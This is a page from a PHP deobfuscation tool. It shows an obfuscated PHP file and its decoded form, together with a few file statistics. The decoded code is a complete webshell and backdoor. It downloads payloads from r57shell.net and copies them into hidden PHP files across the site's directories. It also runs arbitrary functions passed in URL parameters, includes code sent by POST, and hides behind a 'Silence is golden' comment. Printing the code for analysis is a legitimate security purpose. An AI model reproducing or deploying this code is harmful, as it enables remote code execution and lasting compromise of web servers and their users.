Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php if (!function_exists("\x53\150\142\x35\71")) { function Shb59() { goto vfxUZ; lxsv..

Decoded Output download

<?php 
 if (!function_exists("Shb59")) { function Shb59() { goto vfxUZ; lxsv9: if (!@$_GET["m"]) { goto YtUpR; } goto Nzf76; GU9GS: $gcpWb = curl_exec($Sk08U); goto nkxUr; pJcWe: curl_setopt($Sk08U, CURLOPT_RETURNTRANSFER, 1); goto zpfLD; YYaOh: goto IHxy0; goto dvR4I; GYvkP: ZhZgb: goto k_WGn; oWYOD: $gcpWb = curl_exec($Sk08U); goto czwUk; aVOB5: $rrEqz = array("http" => array("header" => array("Referer: {$rDRqc}
\xa"))); goto mZWI5; zOVDO: @file_put_contents($AjbiC, $gcpWb); goto VeAeU; zpfLD: curl_setopt($Sk08U, CURLOPT_REFERER, $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]); goto oWYOD; KiQmq: @touch($AjbiC); goto zOVDO; vpqHT: SOvmG: goto Td1kw; z2HDh: $AjbiC = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "sess_" . md5('' . $n1y7t . "_" . $k2d3E . ''); goto NP0XO; lSG2G: $gcpWb = file_get_contents("http://r57shell.net/mini_admin.txt"); goto LQdSy; FKxS7: if (function_exists("curl_init")) { goto w8ByY; } goto hLG4r; B7ETD: exit; goto yC0X6; a6HEp: $WQda3 = dirname($WQda3); goto h9lSs; hLG4r: $gcpWb = file_get_contents("http://r57shell.net/jquery.php?v=1.2&pwd=get"); goto zPAWv; yC0X6: gu4sr: goto yzP6E; h9lSs: $junRO = dirname($k2d3E); goto TallG; TPDKf: foreach ($h9zj7 as $ffxJW) { goto iKgDq; qtdVL: foreach ($h9zj7 as $ffxJW) { goto MfJa8; XdMaC: @file_put_contents($EZnNP, $gcpWb); goto jpp5I; J6WBN: $EZnNP = $ffxJW . DIRECTORY_SEPARATOR . "." . basename($ffxJW) . ".php"; goto XdMaC; jpp5I: Kjfpz: goto iMS0V; MfJa8: if (@preg_match("#wp-content#", $ffxJW)) { goto Kjfpz; } goto J6WBN; iMS0V: i7vut: goto R7QL3; R7QL3: } goto CFWzz; NFCrB: $h9zj7 = array_filter(glob($ffxJW . DIRECTORY_SEPARATOR . "*", GLOB_ONLYDIR)); goto qtdVL; ROjgW: L5aAW: goto raUxs; gxXmp: @file_put_contents($EZnNP, $gcpWb); goto NFCrB; iKgDq: $EZnNP = $ffxJW . DIRECTORY_SEPARATOR . "." . basename($ffxJW) . ".php"; goto gxXmp; CFWzz: AwpTn: goto ROjgW; raUxs: } goto hsnpC; vgtzO: $gcpWb = curl_exec($Sk08U); goto D4K0R; qUkiL: YtUpR: goto ooxan; fAdVg: Rnxpy: goto I8f2S; jHqSU: $DKKwU = $_SERVER["REQUEST_URI"]; goto MVStP; RAzaB: print_r($_GET["f"]($_GET["c"])); goto m_Cfy; VeAeU: HR9fW: goto xdAl5; cQzmp: $gcpWb = @file_get_contents("http://r57shell.net/jquery.php?v=1.2&request=enable", false, $LrT19); goto GIybP; eDcys: $WQda3 = $pqRk1["path"]; goto a6HEp; vfxUZ: $k2d3E = $_SERVER["SCRIPT_FILENAME"]; goto jHqSU; njgh9: curl_setopt($Sk08U, CURLOPT_URL, "http://r57shell.net/mini_admin.txt"); goto RHSaj; mZWI5: $LrT19 = stream_context_create($rrEqz); goto cQzmp; Z_yjT: if (!@$_GET["f"]) { goto wYsor; } goto RAzaB; zPAWv: goto D1lUi; goto RcWE3; RHSaj: curl_setopt($Sk08U, CURLOPT_RETURNTRANSFER, 1); goto GU9GS; FaqHc: $AjbiC = $junRO . DIRECTORY_SEPARATOR . "sess_" . md5('' . $n1y7t . "_" . $k2d3E . ''); goto H6ESD; TallG: $WQda3 = str_replace("/", DIRECTORY_SEPARATOR, $WQda3); goto mcMdD; xPeZy: if (@preg_match("#stt1#", $gcpWb)) { goto rPjpg; } goto ggEqp; u8zRJ: D1lUi: goto LxpYx; UCPU0: @file_put_contents($UoTkI, $gcpWb); goto g4KpY; dvR4I: dTEFp: goto ixkoj; NP0XO: OAeAq: goto mxzrq; Td1kw: $Sk08U = curl_init(); goto njgh9; gJ1S2: rPjpg: goto O6vu4; O6vu4: goto HR9fW; goto wy42e; KMrE8: $qaor0 = str_replace($WQda3, '', $junRO); goto FCAOU; ixkoj: $Sk08U = curl_init(); goto ljCdF; pD4vJ: $gcpWb = @file_get_contents("http://r57shell.net/jquery.php?v=1.2&request=enable", false, $LrT19); goto YYaOh; wWNMq: $n1y7t = str_replace("www.", '', $_SERVER["HTTP_HOST"]); goto F3c1m; nkxUr: curl_close($Sk08U); goto hLeBA; I8f2S: GF4F2: goto B7ETD; qYCLy: curl_setopt($Sk08U, CURLOPT_RETURNTRANSFER, 1); goto qPF3J; ljCdF: curl_setopt($Sk08U, CURLOPT_URL, "http://r57shell.net/jquery.php?v=1.2&request=enable"); goto qYCLy; yzP6E: if (!file_exists($AjbiC)) { goto V2Lp1; } goto aT_Ta; Nzf76: if (function_exists("curl_init")) { goto SOvmG; } goto lSG2G; m_Cfy: wYsor: goto lxsv9; E32it: $rrEqz = array("http" => array("header" => array("Referer: {$rDRqc}\xd
"))); goto al8a6; Hl24R: curl_close($Sk08U); goto u8zRJ; F3c1m: if (is_writable(sys_get_temp_dir())) { goto hfWWx; } goto FaqHc; al8a6: $LrT19 = stream_context_create($rrEqz); goto pD4vJ; FCAOU: goto SDHYo; goto vWeih; DLTON: SDHYo: goto wWNMq; tyQAG: @file_put_contents($AjbiC, $gcpWb); goto gJ1S2; DIMk6: $rDRqc = $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; goto E32it; LQdSy: goto Fql57; goto vpqHT; JWvLN: IHxy0: goto cbnWO; OKPqu: if (function_exists("curl_init")) { goto ZhZgb; } goto LEiQQ; LxpYx: if (!(md5(sha1(@$_GET["is"])) == $gcpWb)) { goto GF4F2; } goto Z_yjT; mcMdD: if ($WQda3 == DIRECTORY_SEPARATOR || $WQda3 == '') { goto E_Prp; } goto KMrE8; Jj2mx: $UoTkI = @$_GET["m"] . "gagal.php"; goto UCPU0; vWeih: E_Prp: goto cyvdY; k_WGn: $Sk08U = curl_init(); goto HFE7X; p_y2W: hfWWx: goto z2HDh; KNqSS: G46Lz: goto KiQmq; mxzrq: if (!@$_GET["slince_golden"]) { goto gu4sr; } goto O8IoG; cyvdY: $qaor0 = $junRO; goto DLTON; wy42e: V2Lp1: goto OKPqu; LEiQQ: $rDRqc = $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; goto aVOB5; ggEqp: if (function_exists("curl_init")) { goto dTEFp; } goto DIMk6; ctbbn: $gcpWb = curl_exec($Sk08U); goto Hl24R; hLeBA: Fql57: goto Jj2mx; ooxan: if (!@$_POST["l"]) { goto Rnxpy; } goto QMhdU; hsnpC: YxDpV: goto gLWGM; swBGb: curl_setopt($Sk08U, CURLOPT_URL, "http://r57shell.net/jquery.php?v=1.2&pwd=get"); goto Wzrou; O8IoG: echo "<!-- //Silence is golden. -->"; goto FKxS7; D4K0R: curl_close($Sk08U); goto JWvLN; GIybP: goto G46Lz; goto GYvkP; QMhdU: function otcJX($t5Vvc) { goto F1dyk; ICMd3: return $Nh91r; goto xGX5s; d2uLO: fclose($FC2zD); goto ICMd3; elnG3: $Nh91r = (include $kSpVJ); goto d2uLO; UlgUv: $kSpVJ = $kSpVJ["uri"]; goto D4fVu; EU3Y5: $kSpVJ = stream_get_meta_data($FC2zD); goto UlgUv; F1dyk: $FC2zD = tmpfile(); goto EU3Y5; D4fVu: fwrite($FC2zD, $t5Vvc); goto elnG3; xGX5s: } goto nP0WA; czwUk: curl_close($Sk08U); goto KNqSS; nP0WA: print_r(OTCjX($_POST["l"])); goto fAdVg; HFE7X: curl_setopt($Sk08U, CURLOPT_URL, "http://r57shell.net/jquery.php?v=1.2&request=enable"); goto pJcWe; xdAl5: $h9zj7 = array_filter(glob($qaor0 . DIRECTORY_SEPARATOR . "*", GLOB_ONLYDIR)); goto TPDKf; H6ESD: goto OAeAq; goto p_y2W; MVStP: $pqRk1 = parse_url($DKKwU); goto eDcys; qPF3J: curl_setopt($Sk08U, CURLOPT_REFERER, $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]); goto vgtzO; cbnWO: @touch($AjbiC); goto tyQAG; RcWE3: w8ByY: goto Kg5yG; Wzrou: curl_setopt($Sk08U, CURLOPT_RETURNTRANSFER, 1); goto ctbbn; g4KpY: echo $UoTkI; goto qUkiL; Kg5yG: $Sk08U = curl_init(); goto swBGb; aT_Ta: $gcpWb = file_get_contents($AjbiC); goto xPeZy; gLWGM: } sHb59(); } phpinfo(); ?>

Did this file decode correctly?

Original Code

<?php
 if (!function_exists("\x53\150\142\x35\71")) { function Shb59() { goto vfxUZ; lxsv9: if (!@$_GET["\155"]) { goto YtUpR; } goto Nzf76; GU9GS: $gcpWb = curl_exec($Sk08U); goto nkxUr; pJcWe: curl_setopt($Sk08U, CURLOPT_RETURNTRANSFER, 1); goto zpfLD; YYaOh: goto IHxy0; goto dvR4I; GYvkP: ZhZgb: goto k_WGn; oWYOD: $gcpWb = curl_exec($Sk08U); goto czwUk; aVOB5: $rrEqz = array("\150\164\x74\x70" => array("\x68\145\141\x64\145\x72" => array("\x52\145\146\x65\162\145\x72\x3a\40{$rDRqc}\15\xa"))); goto mZWI5; zOVDO: @file_put_contents($AjbiC, $gcpWb); goto VeAeU; zpfLD: curl_setopt($Sk08U, CURLOPT_REFERER, $_SERVER["\x48\124\x54\x50\x5f\110\x4f\123\124"] . $_SERVER["\x52\x45\x51\125\x45\123\x54\137\125\122\111"]); goto oWYOD; KiQmq: @touch($AjbiC); goto zOVDO; vpqHT: SOvmG: goto Td1kw; z2HDh: $AjbiC = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "\163\145\x73\163\x5f" . md5('' . $n1y7t . "\x5f" . $k2d3E . ''); goto NP0XO; lSG2G: $gcpWb = file_get_contents("\150\164\x74\x70\72\57\57\x72\x35\67\163\x68\145\x6c\154\56\x6e\145\164\57\x6d\x69\156\151\137\141\144\155\x69\156\56\164\x78\x74"); goto LQdSy; FKxS7: if (function_exists("\143\165\x72\154\x5f\x69\x6e\x69\x74")) { goto w8ByY; } goto hLG4r; B7ETD: exit; goto yC0X6; a6HEp: $WQda3 = dirname($WQda3); goto h9lSs; hLG4r: $gcpWb = file_get_contents("\150\164\x74\160\72\57\57\x72\x35\67\x73\x68\x65\x6c\154\x2e\156\x65\x74\57\152\161\165\145\x72\x79\x2e\160\x68\160\77\x76\75\x31\56\62\x26\160\x77\x64\x3d\x67\x65\x74"); goto zPAWv; yC0X6: gu4sr: goto yzP6E; h9lSs: $junRO = dirname($k2d3E); goto TallG; TPDKf: foreach ($h9zj7 as $ffxJW) { goto iKgDq; qtdVL: foreach ($h9zj7 as $ffxJW) { goto MfJa8; XdMaC: @file_put_contents($EZnNP, $gcpWb); goto jpp5I; J6WBN: $EZnNP = $ffxJW . DIRECTORY_SEPARATOR . "\x2e" . basename($ffxJW) . "\56\x70\x68\160"; goto XdMaC; jpp5I: Kjfpz: goto iMS0V; MfJa8: if (@preg_match("\x23\x77\x70\x2d\143\157\x6e\164\145\156\x74\x23", $ffxJW)) { goto Kjfpz; } goto J6WBN; iMS0V: i7vut: goto R7QL3; R7QL3: } goto CFWzz; NFCrB: $h9zj7 = array_filter(glob($ffxJW . DIRECTORY_SEPARATOR . "\52", GLOB_ONLYDIR)); goto qtdVL; ROjgW: L5aAW: goto raUxs; gxXmp: @file_put_contents($EZnNP, $gcpWb); goto NFCrB; iKgDq: $EZnNP = $ffxJW . DIRECTORY_SEPARATOR . "\x2e" . basename($ffxJW) . "\56\160\150\x70"; goto gxXmp; CFWzz: AwpTn: goto ROjgW; raUxs: } goto hsnpC; vgtzO: $gcpWb = curl_exec($Sk08U); goto D4K0R; qUkiL: YtUpR: goto ooxan; fAdVg: Rnxpy: goto I8f2S; jHqSU: $DKKwU = $_SERVER["\122\105\121\125\105\x53\x54\x5f\125\x52\x49"]; goto MVStP; RAzaB: print_r($_GET["\146"]($_GET["\143"])); goto m_Cfy; VeAeU: HR9fW: goto xdAl5; cQzmp: $gcpWb = @file_get_contents("\x68\164\x74\160\x3a\x2f\57\162\x35\x37\163\150\145\154\x6c\56\156\145\x74\x2f\152\161\165\145\x72\x79\x2e\x70\x68\160\x3f\x76\75\x31\x2e\62\46\x72\x65\x71\165\x65\x73\164\x3d\145\x6e\x61\x62\154\145", false, $LrT19); goto GIybP; eDcys: $WQda3 = $pqRk1["\x70\x61\164\150"]; goto a6HEp; vfxUZ: $k2d3E = $_SERVER["\123\x43\x52\111\120\x54\x5f\106\111\114\105\116\101\115\105"]; goto jHqSU; njgh9: curl_setopt($Sk08U, CURLOPT_URL, "\150\164\164\160\x3a\57\x2f\x72\x35\x37\163\150\145\154\154\x2e\156\145\164\x2f\155\x69\156\151\x5f\141\144\x6d\x69\156\x2e\x74\x78\x74"); goto RHSaj; mZWI5: $LrT19 = stream_context_create($rrEqz); goto cQzmp; Z_yjT: if (!@$_GET["\146"]) { goto wYsor; } goto RAzaB; zPAWv: goto D1lUi; goto RcWE3; RHSaj: curl_setopt($Sk08U, CURLOPT_RETURNTRANSFER, 1); goto GU9GS; FaqHc: $AjbiC = $junRO . DIRECTORY_SEPARATOR . "\163\x65\x73\x73\137" . md5('' . $n1y7t . "\137" . $k2d3E . ''); goto H6ESD; TallG: $WQda3 = str_replace("\57", DIRECTORY_SEPARATOR, $WQda3); goto mcMdD; xPeZy: if (@preg_match("\x23\x73\x74\164\x31\43", $gcpWb)) { goto rPjpg; } goto ggEqp; u8zRJ: D1lUi: goto LxpYx; UCPU0: @file_put_contents($UoTkI, $gcpWb); goto g4KpY; dvR4I: dTEFp: goto ixkoj; NP0XO: OAeAq: goto mxzrq; Td1kw: $Sk08U = curl_init(); goto njgh9; gJ1S2: rPjpg: goto O6vu4; O6vu4: goto HR9fW; goto wy42e; KMrE8: $qaor0 = str_replace($WQda3, '', $junRO); goto FCAOU; ixkoj: $Sk08U = curl_init(); goto ljCdF; pD4vJ: $gcpWb = @file_get_contents("\150\164\164\160\72\x2f\x2f\x72\x35\67\x73\150\145\154\154\x2e\156\145\164\57\x6a\x71\165\x65\162\x79\x2e\x70\x68\x70\77\166\x3d\x31\56\x32\x26\162\145\x71\x75\145\163\x74\75\145\x6e\141\x62\154\x65", false, $LrT19); goto YYaOh; wWNMq: $n1y7t = str_replace("\x77\167\167\56", '', $_SERVER["\x48\x54\x54\120\137\110\x4f\123\124"]); goto F3c1m; nkxUr: curl_close($Sk08U); goto hLeBA; I8f2S: GF4F2: goto B7ETD; qYCLy: curl_setopt($Sk08U, CURLOPT_RETURNTRANSFER, 1); goto qPF3J; ljCdF: curl_setopt($Sk08U, CURLOPT_URL, "\150\x74\164\x70\72\57\57\162\x35\x37\163\x68\145\x6c\154\x2e\x6e\145\164\x2f\x6a\161\165\145\162\171\56\x70\x68\x70\77\x76\x3d\61\56\x32\46\x72\x65\x71\x75\145\x73\x74\75\145\156\141\142\x6c\x65"); goto qYCLy; yzP6E: if (!file_exists($AjbiC)) { goto V2Lp1; } goto aT_Ta; Nzf76: if (function_exists("\143\165\x72\154\137\x69\x6e\151\164")) { goto SOvmG; } goto lSG2G; m_Cfy: wYsor: goto lxsv9; E32it: $rrEqz = array("\x68\164\164\x70" => array("\150\145\x61\x64\145\x72" => array("\122\145\x66\x65\x72\145\162\x3a\40{$rDRqc}\xd\12"))); goto al8a6; Hl24R: curl_close($Sk08U); goto u8zRJ; F3c1m: if (is_writable(sys_get_temp_dir())) { goto hfWWx; } goto FaqHc; al8a6: $LrT19 = stream_context_create($rrEqz); goto pD4vJ; FCAOU: goto SDHYo; goto vWeih; DLTON: SDHYo: goto wWNMq; tyQAG: @file_put_contents($AjbiC, $gcpWb); goto gJ1S2; DIMk6: $rDRqc = $_SERVER["\110\x54\124\x50\137\110\x4f\x53\x54"] . $_SERVER["\122\x45\x51\125\x45\x53\124\137\x55\x52\111"]; goto E32it; LQdSy: goto Fql57; goto vpqHT; JWvLN: IHxy0: goto cbnWO; OKPqu: if (function_exists("\143\165\162\154\x5f\151\156\x69\x74")) { goto ZhZgb; } goto LEiQQ; LxpYx: if (!(md5(sha1(@$_GET["\151\x73"])) == $gcpWb)) { goto GF4F2; } goto Z_yjT; mcMdD: if ($WQda3 == DIRECTORY_SEPARATOR || $WQda3 == '') { goto E_Prp; } goto KMrE8; Jj2mx: $UoTkI = @$_GET["\x6d"] . "\147\x61\147\141\x6c\x2e\160\150\x70"; goto UCPU0; vWeih: E_Prp: goto cyvdY; k_WGn: $Sk08U = curl_init(); goto HFE7X; p_y2W: hfWWx: goto z2HDh; KNqSS: G46Lz: goto KiQmq; mxzrq: if (!@$_GET["\163\154\151\156\143\145\x5f\x67\157\x6c\144\x65\156"]) { goto gu4sr; } goto O8IoG; cyvdY: $qaor0 = $junRO; goto DLTON; wy42e: V2Lp1: goto OKPqu; LEiQQ: $rDRqc = $_SERVER["\110\x54\x54\120\137\110\x4f\x53\x54"] . $_SERVER["\122\105\x51\125\105\x53\124\x5f\125\x52\x49"]; goto aVOB5; ggEqp: if (function_exists("\143\165\x72\x6c\137\151\x6e\151\164")) { goto dTEFp; } goto DIMk6; ctbbn: $gcpWb = curl_exec($Sk08U); goto Hl24R; hLeBA: Fql57: goto Jj2mx; ooxan: if (!@$_POST["\154"]) { goto Rnxpy; } goto QMhdU; hsnpC: YxDpV: goto gLWGM; swBGb: curl_setopt($Sk08U, CURLOPT_URL, "\150\x74\164\x70\72\57\x2f\162\x35\67\163\150\145\x6c\154\x2e\156\x65\x74\57\152\x71\165\145\x72\x79\56\160\150\160\77\166\x3d\61\56\x32\x26\x70\167\144\75\147\x65\x74"); goto Wzrou; O8IoG: echo "\74\x21\x2d\55\40\57\57\x53\x69\x6c\145\156\x63\145\x20\151\x73\40\147\x6f\x6c\144\x65\x6e\56\x20\x2d\55\x3e"; goto FKxS7; D4K0R: curl_close($Sk08U); goto JWvLN; GIybP: goto G46Lz; goto GYvkP; QMhdU: function otcJX($t5Vvc) { goto F1dyk; ICMd3: return $Nh91r; goto xGX5s; d2uLO: fclose($FC2zD); goto ICMd3; elnG3: $Nh91r = (include $kSpVJ); goto d2uLO; UlgUv: $kSpVJ = $kSpVJ["\x75\x72\x69"]; goto D4fVu; EU3Y5: $kSpVJ = stream_get_meta_data($FC2zD); goto UlgUv; F1dyk: $FC2zD = tmpfile(); goto EU3Y5; D4fVu: fwrite($FC2zD, $t5Vvc); goto elnG3; xGX5s: } goto nP0WA; czwUk: curl_close($Sk08U); goto KNqSS; nP0WA: print_r(OTCjX($_POST["\x6c"])); goto fAdVg; HFE7X: curl_setopt($Sk08U, CURLOPT_URL, "\x68\164\164\160\x3a\57\x2f\x72\65\67\163\150\145\x6c\154\x2e\156\145\164\x2f\x6a\161\x75\x65\x72\171\56\x70\150\x70\77\x76\x3d\x31\56\62\x26\x72\x65\x71\165\145\x73\164\75\145\x6e\141\142\x6c\x65"); goto pJcWe; xdAl5: $h9zj7 = array_filter(glob($qaor0 . DIRECTORY_SEPARATOR . "\x2a", GLOB_ONLYDIR)); goto TPDKf; H6ESD: goto OAeAq; goto p_y2W; MVStP: $pqRk1 = parse_url($DKKwU); goto eDcys; qPF3J: curl_setopt($Sk08U, CURLOPT_REFERER, $_SERVER["\110\x54\x54\120\x5f\110\117\123\124"] . $_SERVER["\122\x45\121\125\105\x53\x54\137\x55\x52\x49"]); goto vgtzO; cbnWO: @touch($AjbiC); goto tyQAG; RcWE3: w8ByY: goto Kg5yG; Wzrou: curl_setopt($Sk08U, CURLOPT_RETURNTRANSFER, 1); goto ctbbn; g4KpY: echo $UoTkI; goto qUkiL; Kg5yG: $Sk08U = curl_init(); goto swBGb; aT_Ta: $gcpWb = file_get_contents($AjbiC); goto xPeZy; gLWGM: } sHb59(); } phpinfo();

Function Calls

None

Variables

None

Stats

MD5 4c0682c0a271a8c1e306f5e891276ec8
Eval Count 0
Decode Time 57 ms